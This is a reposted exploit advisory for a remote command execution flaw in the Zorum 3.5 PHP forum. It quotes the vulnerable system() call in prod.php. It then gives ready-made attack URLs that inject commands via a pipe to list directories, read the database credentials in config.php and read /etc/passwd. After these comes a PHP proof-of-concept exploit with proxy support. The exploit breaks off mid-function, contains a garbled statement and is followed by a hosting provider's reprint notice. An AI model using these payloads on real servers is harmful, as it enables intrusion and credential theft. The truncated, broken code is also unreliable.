Zorum 3.5 remote code execution poc exploit

Zorum 3.5 remote code execution poc exploit

software:
description: Zorum is a freely available, open source Web-based forum
application implemented in PHP. It is available for UNIX, Linux, and any other
platform that supports PHP script execution.

author site: http://zorum.phpoutsourcing.com/


1) remote code execution:

vulnerable code, in /gorum/prod.php file:


07  $doubleApp = isset($argv[1]); 

   ...
14   if( $doubleApp )
15   {
16      $appDir = $argv[1];
17      system("mkdir $prodDir/$appDir");
   ...

a user can execute arbitrary commands using pipe char, example:

http://[target]/zorum/gorum/prod.php?argv[1]=|ls -la

to list directories

http://[target]/zorum/gorum/prod.php?argv[1]=|cat ../config.php

to see database username/password...

http://[target]/zorum/gorum/prod.php?argv[1]=|cat /etc/passwd

to see /etc/passwd file

this is my proof of concept exploit with proxy support:

<?php
/* Zorum 3.5 (possibly prior versions) remote code execution
   by rgod
   site: http://rgod.altervista.org


   make these changes in php.ini if you have troubles
   with this script:
   allow_call_time_pass_reference = on
   register_globals = on		                                      */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo '<head><title>Zorum 3.5 remote commands execution</title>
      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
      <style type="text/css">
      <!--
      body,td,th {color: #00FF00;}
      body {background-color: #000000;}
      .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
      .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
	       font-weight: bold;
	       font-style: italic;
              }
      -->
      </style></head>
      <body>
<p class="Stile6">Zorum 3.5 (possibly prior versions) remote commands execution</p>
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
  <tr>
    <td width="43%">
     <form name="form1" method="post" action="'.$PHP_SELF.'?path=value&host=value&port=value&command=value&proxy=value">
      <p>
       <input type="text" name="host">
      <span class="Stile5">hostname (ex: www.sitename.com) </span></p>
      <p>
        <input type="text" name="path">
        <span class="Stile5">path (ex: /zorum/gorum/ or /gorum/ or just /) </span></p>
      <p>
      <input type="text" name="port">
        <span class="Stile5">specify a port other than 80 (default value) </span></p>
      <p>
      <input type="text" name="command">
        <span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p>
      <p>
      <input type="text" name="proxy">
        <span class="Stile5">send exploit through an HTTP proxy (ip:port)  </span></p>
      <p>
          <input type="submit" name="Submit" value="go!">
      </p>
    </form></td>
  </tr>
</table>
</body>
</html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci  ;
             echo "<td>&nbsp;&nbsp;</td>";




文章整理：西部数码--专业提供域名注册、虚拟主机服务

http://www.west263.com

以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!